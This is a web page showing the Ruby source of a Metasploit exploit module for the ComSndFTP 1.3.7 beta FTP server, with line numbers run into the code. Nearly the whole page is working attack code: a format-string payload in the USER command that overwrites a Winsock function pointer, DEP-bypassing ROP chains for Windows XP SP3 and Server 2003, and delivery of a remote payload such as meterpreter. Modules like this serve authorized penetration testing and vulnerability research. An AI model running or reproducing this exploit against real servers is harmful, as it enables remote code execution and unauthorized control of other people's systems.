Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',13'Description' => %q{14This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially15crafted format string specifier as a username. The crafted username is sent to the server to16overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer17is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.18The SEH exit function is preferred so that the administrators are not left with an unhandled19exception message. When using the meterpreter payload, the process will never die, allowing20for continuous exploitation.21},22'Author' =>23[24'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc25'rick2600 <rick2600[at]corelan.be>', # msf module (target XP)26'mr_me <mr_me[at]corelan.be>', # msf module (target 23k)27'corelanc0d3r <peter.ve[at]corelan.be>' # msf module28],29'Arch' => [ ARCH_X86 ],30'License' => MSF_LICENSE,31'References' =>32[33# When a DoS is NOT a DoS34[ 'OSVDB', '82798'],35[ 'EDB', '19024']36],37'DefaultOptions' =>38{39'EXITFUNC' => 'seh'40},41'Platform' => ['win'],42'Privileged' => false,43'Payload' =>44{45'Space' => 1000,46'BadChars' => "\x00\x0a\x0d",47'StackAdjustment' => -3500,48'DisableNops' => 'True'49},50'Targets' =>51[52[53'Windows XP SP3 - English',54{55'Functionpointer' => 0x71AC4050, # winsock pointer56'Functionaddress' => 0x71AB2636, # the repair address57'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn58'Pad' => 56859}60],61[62'Windows Server 2003 - English',63{64'Functionpointer' => 0x71C14044, # winsock pointer65'Functionaddress' => 0x71C02661, # the repair address66'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn67'Pad' => 56868}69]70],71'DisclosureDate' => '2012-06-08'))7273register_options(74[75Opt::RPORT(21),76])77end7879def check80connect81banner = sock.get_once || ""82disconnect8384validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"85validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"86validate << "\xf1\xc6\xf7\x21\x0d\x0a"8788if banner.to_s == validate89return Exploit::CheckCode::Vulnerable90end91return Exploit::CheckCode::Safe92end9394def junk(n=4)95return rand_text_alpha(n).unpack("V").first96end9798def exploit99100rop = ''101if target.name =~ /Server 2003/102# C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959103rop = [1040x77be3adb, # pop eax ; retn1050x77ba1114, # <- *&VirtualProtect()1060x77bbf244, # mov eax,[eax] ; pop ebp ; retn107junk,1080x77bb0c86, # xchg eax,esi ; retn1090x77be3adb, # pop eax ; retn1100xFFFFFBFF, # dwSize1110x77BAD64D, # neg eax ; pop ebp ; retn112junk,1130x77BBF102, # xchg eax,ebx ; add [eax],al ; retn1140x77bbfc02, # pop ecx ; retn1150x77bef001, # ptr that is w+1160x77bd8c04, # pop edi ; retn1170x77bd8c05, # retn1180x77be3adb, # pop eax ; retn1190xFFFFFFC0, # flNewProtect1200x77BAD64D, # neg eax ; pop ebp ; retn1210x77be2265, # ptr to 'push esp ; ret'1220x77BB8285, # xchg eax,edx ; retn1230x77be3adb, # pop eax ; retn1240x90909090, # nops1250x77be6591, # pushad ; add al,0ef ; retn126].pack("V*")127128elsif target.name =~ /XP SP3/129# C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512130rop = [1310x77C21D16, # pop eax ; retn1320x77C11120, # <- *&VirtualProtect()1330x77C2E493, # mov eax,[eax] ; pop ebp ; retn134junk,1350x77C21891, # pop esi ; retn1360x77C5D010, # ptr that is w+1370x77C2DD6C, # xchg eax,esi ; add [eax],al; retn1380x77C21D16, # pop eax ; retn1390xFFFFFBFF, # dwSize1400x77C1BE18, # neg eax ; pop ebp ; retn141junk,1420x77C2362C, # pop ebx ; retn1430x77C5D010, # ptr that is w+1440x77C2E071, # xchg eax,ebx ; add [eax],al ; retn1450x77C1F519, # pop ecx ; retn1460x77C5D010, # ptr that is w+1470x77C23B47, # pop edi ; retn1480x77C23B48, # retn1490x77C21D16, # pop eax ; retn1500xFFFFFFC0, # flNewProtect1510x77C1BE18, # neg eax ; pop ebp ; retn1520x77C35459, # ptr to 'push esp ; ret'1530x77C58FBC, # xchg eax,edx ; retn1540x77C21D16, # pop eax ; retn1550x90909090, # nops1560x77C567F0, # pushad ; add al,0ef ; retn157].pack("V*")158end159160stage1 = %Q{161mov eax, #{target['Functionpointer']}162mov ecx, #{target['Functionaddress']}163mov [eax], ecx164}165166offset_wp = rand_text_alphanumeric(1)167pivot = target['Pivot']168offset = target['Pad'] + rop.length + stage1.length + payload.encoded.length169170attackstring = rand_text_alphanumeric(7)171attackstring << [target['Functionpointer']].pack('V')172attackstring << "%#{pivot}x" # special pointer to our pivot173attackstring << "%p" * 208 + "#{offset_wp }%n" # format specifiers to read and write the function pointer174attackstring << rand_text_alphanumeric(target['Pad'])175attackstring << rop176attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string177attackstring << payload.encoded178attackstring << rand_text_alphanumeric(2000 - offset)179attackstring << "\r\n"180181sploit = "USER #{attackstring}\r\n"182183print_status("Triggering overflow...")184connect185sock.get_once(1024)186sock.put(sploit)187select(nil, nil, nil, 2)188handler189disconnect190191end192end193194195